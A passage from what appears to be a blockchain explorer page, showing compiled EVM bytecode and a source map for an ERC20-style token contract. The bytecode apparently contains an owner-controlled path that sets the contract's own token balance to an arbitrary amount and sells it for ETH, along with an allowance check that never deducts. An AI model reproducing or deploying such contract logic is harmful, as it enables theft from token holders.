565b8060005b83811015612381578151612368888261230b565b975061237383612323565b925050600181019050612354565b5085935050505092915050565b600060a0820190506123a36000830188611d56565b6123b060208301876122c1565b81810360408301526123c28186612330565b90506123d16060830185611e40565b6123de6080830184611d56565b9695505050505050565b60006123f382611caa565b91506123fe83611caa565b925082820261240c81611caa565b9150828204841483151761242357612422611f7c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061246482611caa565b915061246f83611caa565b92508261247f5761247e61242a565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b60006124e6602283611b9b565b91506124f18261248a565b604082019050919050565b60006020820190508181036000830152612515816124d9565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000612552601b83611b9b565b915061255d8261251c565b602082019050919050565b6000602082019050818103600083015261258181612545565b9050919050565b600060408201905061259d6000830185611e40565b6125aa6020830184611e40565b939250505056fea2646970667358221220e64c219bbbafceeab55dcaa577a907d918638fc324e70372a8899a8d7c41d97064736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806362256589116100b857806395d89b411161007c57806395d89b411461032e578063a457c2d71461034c578063a9059cbb1461037c578063afdce0c4146103ac578063d34628cc146103b6578063dd62ed3e146103d257610137565b806362256589146102ae5780636f268a99146102b857806370a08231146102d6578063715018a6146103065780638da5cb5b1461031057610137565b8063313ce567116100ff578063313ce5671461020857806332424aa31461022657806339509351146102445780633eaaf86b146102745780634c8afff41461029257610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a85780632e0c9919146101d8575b600080fd5b610144610402565b6040516101519190611c20565b60405180910390f35b610174600480360381019061016f9190611ce0565b610494565b6040516101819190611d3b565b60405180910390f35b6101926104ab565b60405161019f9190611d65565b60405180910390f35b6101c260048036038101906101bd9190611d80565b6104b5565b6040516101cf9190611d3b565b60405180910390f35b6101f260048036038101906101ed9190611dd3565b610556565b6040516101ff9190611d3b565b60405180910390f35b6102106105c6565b60405161021d9190611d65565b60405180910390f35b61022e6105d0565b60405161023b9190611d65565b60405180910390f35b61025e60048036038101906102599190611ce0565b6105d6565b60405161026b9190611d3b565b60405180910390f35b61027c610674565b6040516102899190611d65565b60405180910390f35b6102ac60048036038101906102a79190611e13565b61067a565b005b6102b661074a565b005b6102c06107d3565b6040516102cd9190611e4f565b60405180910390f35b6102f060048036038101906102eb9190611e13565b6107f9565b6040516102fd9190611d65565b60405180910390f35b61030e610842565b005b610318610975565b6040516103259190611e4f565b60405180910390f35b61033661099e565b6040516103439190611c20565b60405180910390f35b61036660048036038101906103619190611ce0565b610a30565b6040516103739190611d3b565b60405180910390f35b61039660048036038101906103919190611ce0565b610b57565b6040516103a39190611d3b565b60405180910390f35b6103b4610b6e565b005b6103d060048036038101906103cb9190611ecf565b610cb0565b005b6103ec60048036038101906103e79190611dd3565b610dca565b6040516103f99190611d65565b60405180910390f35b60606002805461041190611f4b565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611f4b565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60006104a1338484610e51565b6001905092915050565b6000600654905090565b60006104c284848461101a565b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054b57600080fd5b600190509392505050565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105bb5761059482611336565b156105ba576105a283611336565b80156105b357506105b282611336565b5b90506105c0565b5b600090505b92915050565b6000600354905090565b60035481565b600061066a338484600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106659190611fab565b610e51565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16610699610975565b73ffffffffffffffffffffffffffffffffffffffff16146106ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e69061202b565b60405180910390fd5b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610769610975565b73ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061202b565b60405180910390fd5b600654600b81905550600654600a81905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610861610975565b73ffffffffffffffffffffffffffffffffffffffff16146108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae9061202b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546109ad90611f4b565b80601f01602080910402602001604051908101604052809291908181526020018280546109d990611f4b565b8015610a265780601f106109fb57610100808354040283529160200191610a26565b820191906000526020600020905b815481529060010190602001808311610a0957829003601f168201915b5050505050905090565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610abb57600080fd5b610b4d338484600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b48919061204b565b610e51565b6001905092915050565b6000610b6433848461101a565b6001905092915050565b600043905060005b600e80549050811015610c9e576000600c6000600e8481548110610b9d57610b9c61207f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610c8b5781600c6000600e8481548110610c2157610c2061207f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610c96906120ae565b915050610b76565b50600e6000610cad9190611b52565b50565b3373ffffffffffffffffffffffffffffffffffffffff16610ccf610975565b73ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c9061202b565b60405180910390fd5b60005b82829050811015610dc5576001600f6000858585818110610d4c57610d4b61207f565b5b9050602002016020810190610d619190611e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610dbd906120ae565b915050610d28565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb790612168565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f26906121fa565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161100d9190611d65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105357600080fd5b61105d8383610556565b156110715761106c818361138c565b611331565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110bd57600080fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561115957506000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156111d05743600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111cf576111cc60646111be60638561165690919063ffffffff16565b6116d090919063ffffffff16565b90505b5b6111da848461172e565b5081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611226919061204b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082611275919061204b565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112c39190611fab565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113279190611d65565b60405180910390a3505b505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6113b930600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e51565b81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561141a5761141961221a565b5b6040519080825280602002602001820160405280156114485781602001602082028036833780820191505090505b5090506001600d60006101000a81548160ff021916908315150217905550308160008151811061147b5761147a61207f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611546919061225e565b8160018151811061155a5761155961207f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426115e49190611fab565b6040518663ffffffff1660e01b815260040161160495949392919061238e565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b505050506000600d60006101000a81548160ff021916908315150217905550505050565b600080830361166857600090506116ca565b6000828461167691906123e8565b90508284826116859190612459565b146116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906124fc565b60405180910390fd5b809150505b92915050565b6000808211611714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170b90612568565b60405180910390fd5b600082846117229190612459565b90508091505092915050565b60006118d68383600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c6919061225e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561184f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611873919061225e565b6040518363ffffffff1660e01b8152600401611890929190612588565b602060405180830381865afa1580156118ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d1919061225e565b6118de565b905092915050565b600080600d60009054906101000a900460ff1690506000611953600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661194e88611336565b611b3c565b90506000819050600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a065750611a05600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611b3c565b5b8015611a3e57508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611ae557600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160315611adc57600e869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050611b2f565b818015611af0575082155b15611b2e578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611b2d57600190505b5b5b8093505050509392505050565b600082158015611b4a575081155b905092915050565b5080546000825590600052602060002090810190611b709190611b73565b50565b5b80821115611b8c576000816000905550600101611b74565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bca578082015181840152602081019050611baf565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bf282611b90565b611bfc8185611b9b565b9350611c0c818560208601611bac565b611c1581611bd6565b840191505092915050565b60006020820190508181036000830152611c3a8184611be7565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c7782611c4c565b9050919050565b611c8781611c6c565b8114611c9257600080fd5b50565b600081359050611ca481611c7e565b92915050565b6000819050919050565b611cbd81611caa565b8114611cc857600080fd5b50565b600081359050611cda81611cb4565b92915050565b60008060408385031215611cf757611cf6611c42565b5b6000611d0585828601611c95565b9250506020611d1685828601611ccb565b9150509250929050565b60008115159050919050565b611d3581611d20565b82525050565b6000602082019050611d506000830184611d2c565b92915050565b611d5f81611caa565b82525050565b6000602082019050611d7a6000830184611d56565b92915050565b600080600060608486031215611d9957611d98611c42565b5b6000611da786828701611c95565b9350506020611db886828701611c95565b9250506040611dc986828701611ccb565b9150509250925092565b60008060408385031215611dea57611de9611c42565b5b6000611df885828601611c95565b9250506020611e0985828601611c95565b9150509250929050565b600060208284031215611e2957611e28611c42565b5b6000611e3784828501611c95565b91505092915050565b611e4981611c6c565b82525050565b6000602082019050611e646000830184611e40565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611e8f57611e8e611e6a565b5b8235905067ffffffffffffffff811115611eac57611eab611e6f565b5b602083019150836020820283011115611ec857611ec7611e74565b5b9250929050565b60008060208385031215611ee657611ee5611c42565b5b600083013567ffffffffffffffff811115611f0457611f03611c47565b5b611f1085828601611e79565b92509250509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f6357607f821691505b602082108103611f7657611f75611f1c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fb682611caa565b9150611fc183611caa565b9250828201905080821115611fd957611fd8611f7c565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612015602083611b9b565b915061202082611fdf565b602082019050919050565b6000602082019050818103600083015261204481612008565b9050919050565b600061205682611caa565b915061206183611caa565b925082820390508181111561207957612078611f7c565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006120b982611caa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120eb576120ea611f7c565b5b600182019050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612152602383611b9b565b915061215d826120f6565b604082019050919050565b6000602082019050818103600083015261218181612145565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121e4602583611b9b565b91506121ef82612188565b604082019050919050565b60006020820190508181036000830152612213816121d7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061225881611c7e565b92915050565b60006020828403121561227457612273611c42565b5b600061228284828501612249565b91505092915050565b6000819050919050565b6000819050919050565b60006122ba6122b56122b08461228b565b612295565b611caa565b9050919050565b6122ca8161229f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61230581611c6c565b82525050565b600061231783836122fc565b60208301905092915050565b6000602082019050919050565b600061233b826122d0565b61234581856122db565b9350612350836122ec565b8060005b83811015612381578151612368888261230b565b975061237383612323565b925050600181019050612354565b5085935050505092915050565b600060a0820190506123a36000830188611d56565b6123b060208301876122c1565b81810360408301526123c28186612330565b90506123d16060830185611e40565b6123de6080830184611d56565b9695505050505050565b60006123f382611caa565b91506123fe83611caa565b925082820261240c81611caa565b9150828204841483151761242357612422611f7c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061246482611caa565b915061246f83611caa565b92508261247f5761247e61242a565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b60006124e6602283611b9b565b91506124f18261248a565b604082019050919050565b60006020820190508181036000830152612515816124d9565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000612552601b83611b9b565b915061255d8261251c565b602082019050919050565b6000602082019050818103600083015261258181612545565b9050919050565b600060408201905061259d6000830185611e40565b6125aa6020830184611e40565b939250505056fea2646970667358221220e64c219bbbafceeab55dcaa577a907d918638fc324e70372a8899a8d7c41d97064736f6c63430008130033
Deployed Bytecode Sourcemap
1922:5907:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6231:76;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4807:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3787:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7611:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5317:219;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3050:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2224:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2648:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2388:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5697:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2941:103;;;:::i;:::-;;2456:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3664:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1261:137;;;:::i;:::-;;1616:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3543:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3140:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5542:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4538:217;;;:::i;:::-;;5079:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3411:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6231:76;6277:13;6300:5;6293:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6231:76;:::o;4807:139::-;4888:4;4895:37;4904:10;4916:7;4925:6;4895:8;:37::i;:::-;4940:4;4933:11;;4807:139;;;;:::o;3787:90::-;3842:7;3862:12;;3855:19;;3787:90;:::o;7611:215::-;7704:4;7721:34;7731:4;7737:9;7748:6;7721:9;:34::i;:::-;7798:6;7765:11;:17;7777:4;7765:17;;;;;;;;;;;;;;;:29;7783:10;7765:29;;;;;;;;;;;;;;;;:39;;7757:48;;;;;;7814:4;7807:11;;7611:215;;;;;:::o;5317:219::-;5411:4;5435:6;5423:18;;:8;:18;;;5419:97;;5449:16;5456:8;5449:5;:16::i;:::-;5445:70;;;5481:13;5487:6;5481:5;:13::i;:::-;:32;;;;;5498:15;5504:8;5498:5;:15::i;:::-;5481:32;5474:39;;;;5445:70;5419:97;5523:5;5516:12;;5317:219;;;;;:::o;3050:84::-;3094:7;3123:9;;3115:17;;3050:84;:::o;2224:28::-;;;;:::o;2648:185::-;2728:4;2736:76;2745:10;2757:7;2801:10;2766:11;:23;2778:10;2766:23;;;;;;;;;;;;;;;:32;2790:7;2766:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;2736:8;:76::i;:::-;2821:4;2814:11;;2648:185;;;;:::o;2388:61::-;;;;:::o;5697:93::-;1551:10;1540:21;;:7;:5;:7::i;:::-;:21;;;1532:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5777:5:::1;5763:4;:10;5768:4;5763:10;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;;;5697:93:::0;:::o;2941:103::-;1551:10;1540:21;;:7;:5;:7::i;:::-;:21;;;1532:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;3001:12:::1;;2986:14;:27;;;;3030:12;;3015;:27;;;;2941:103::o:0;2456:25::-;;;;;;;;;;;;;:::o;3664:117::-;3729:7;3758:9;:18;3768:7;3758:18;;;;;;;;;;;;;;;;3751:25;;3664:117;;;:::o;1261:137::-;1551:10;1540:21;;:7;:5;:7::i;:::-;:21;;;1532:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;1371:1:::1;1334:40;;1355:6;::::0;::::1;;;;;;;;1334:40;;;;;;;;;;;;1393:1;1376:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1261:137::o:0;1616:84::-;1668:7;1686:6;;;;;;;;;;;1679:13;;1616:84;:::o;3543:86::-;3585:14;3610:7;3603:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3543:86;:::o;3140:238::-;3215:4;3273:6;3240:11;:23;3252:10;3240:23;;;;;;;;;;;;;;;:29;3264:4;3240:29;;;;;;;;;;;;;;;;:39;;3232:48;;;;;;3281:66;3290:10;3302:4;3340:6;3308:11;:23;3320:10;3308:23;;;;;;;;;;;;;;;:29;3332:4;3308:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;3281:8;:66::i;:::-;3366:4;3358:12;;3140:238;;;;:::o;5542:149::-;5611:4;5628:41;5639:10;5651:9;5662:6;5628:9;:41::i;:::-;5679:4;5672:11;;5542:149;;;;:::o;4538:217::-;4585:9;4607:12;4585:34;;4627:6;4622:111;4643:7;:14;;;;4639:1;:18;4622:111;;;4694:1;4669:9;:21;4679:7;4687:1;4679:10;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4669:21;;;;;;;;;;;;;;;;:26;4665:67;;4729:1;4705:9;:21;4715:7;4723:1;4715:10;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4705:21;;;;;;;;;;;;;;;:25;;;;4665:67;4659:3;;;;;:::i;:::-;;;;4622:111;;;;4740:7;;4733:14;;;;:::i;:::-;4574:181;4538:217::o;5079:163::-;1551:10;1540:21;;:7;:5;:7::i;:::-;:21;;;1532:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5168:6:::1;5163:72;5184:8;;:15;;5180:1;:19;5163:72;;;5228:4;5208;:17;5213:8;;5222:1;5213:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;5208:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;5201:3;;;;;:::i;:::-;;;;5163:72;;;;5079:163:::0;;:::o;3411:126::-;3485:7;3502:11;:18;3514:5;3502:18;;;;;;;;;;;;;;;:27;3521:7;3502:27;;;;;;;;;;;;;;;;3495:34;;3411:126;;;;:::o;6676:338::-;6795:1;6776:21;;:7;:21;;;6768:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6874:1;6857:19;;:5;:19;;;6849:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6960:6;6929:11;:18;6941:5;6929:18;;;;;;;;;;;;;;;:27;6948:7;6929:27;;;;;;;;;;;;;;;:37;;;;6990:7;6973:33;;6982:5;6973:33;;;6999:6;6973:33;;;;;;:::i;:::-;;;;;;;;6676:338;;;:::o;3883:649::-;3989:1;3973:18;;:4;:18;;;3965:27;;;;;;4007;4025:4;4031:2;4007:16;:27::i;:::-;4003:522;;;4037:19;4044:6;4053:2;4037:6;:19::i;:::-;4003:522;;;4094:9;:15;4104:4;4094:15;;;;;;;;;;;;;;;;4084:6;:25;;4076:34;;;;;;4125:17;4167:4;:10;4172:4;4167:10;;;;;;;;;;;;;;;;;;;;;;;;;4166:11;:36;;;;;4201:1;4182:9;:15;4192:4;4182:15;;;;;;;;;;;;;;;;:20;;4166:36;4162:172;;;4267:12;4227:9;:15;4237:4;4227:15;;;;;;;;;;;;;;;;:52;4223:96;;;4294:23;4313:3;4294:14;4305:2;4294:6;:10;;:14;;;;:::i;:::-;:18;;:23;;;;:::i;:::-;4282:35;;4223:96;4162:172;4334:36;4360:4;4367:2;4334:11;:36::i;:::-;;4409:6;4391:9;:15;4401:4;4391:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4372:9;:15;4382:4;4372:15;;;;;;;;;;;;;;;:43;;;;4458:9;4449:6;:18;;;;:::i;:::-;4430:9;:13;4440:2;4430:13;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;4502:2;4487:26;;4496:4;4487:26;;;4506:6;4487:26;;;;;;:::i;:::-;;;;;;;;4074:451;4003:522;3883:649;;;:::o;4952:87::-;5012:4;5027;:10;5032:4;5027:10;;;;;;;;;;;;;;;;;;;;;;;;;5020:17;;4952:87;;;:::o;5796:429::-;5859:48;5877:4;5892:7;;;;;;;;;;;5902:4;5859:8;:48::i;:::-;5935:4;5908:9;:24;5926:4;5908:24;;;;;;;;;;;;;;;:31;;;;5941:21;5979:1;5965:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5941:40;;6009:4;5992:13;;:21;;;;;;;;;;;;;;;;;;6033:4;6015;6020:1;6015:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6050:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6040:4;6045:1;6040:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;6077:7;;;;;;;;;;;:58;;;6136:4;6141:1;6143:4;6149;6182:2;6164:15;:20;;;;:::i;:::-;6077:108;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6212:5;6196:13;;:21;;;;;;;;;;;;;;;;;;5848:377;5796:429;;:::o;282:232::-;346:7;375:1;370;:6;366:24;;387:1;379:9;;;;366:24;402:9;418:1;414;:5;;;;:::i;:::-;402:17;;447:1;442;438;:5;;;;:::i;:::-;:10;430:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;505:1;498:8;;;282:232;;;;;:::o;714:185::-;778:7;811:1;807;:5;798:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;855:9;871:1;867;:5;;;;:::i;:::-;855:17;;890:1;883:8;;;714:185;;;;:::o;6313:235::-;6385:4;6419:121;6433:4;6439:9;6482:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6450:58;;;6517:4;6524:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6450:89;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6419:13;:121::i;:::-;6402:138;;6313:235;;;;:::o;7020:396::-;7101:4;7118:8;7129:13;;;;;;;;;;;7118:24;;7144:6;7153:30;7161:4;:8;7166:2;7161:8;;;;;;;;;;;;;;;;;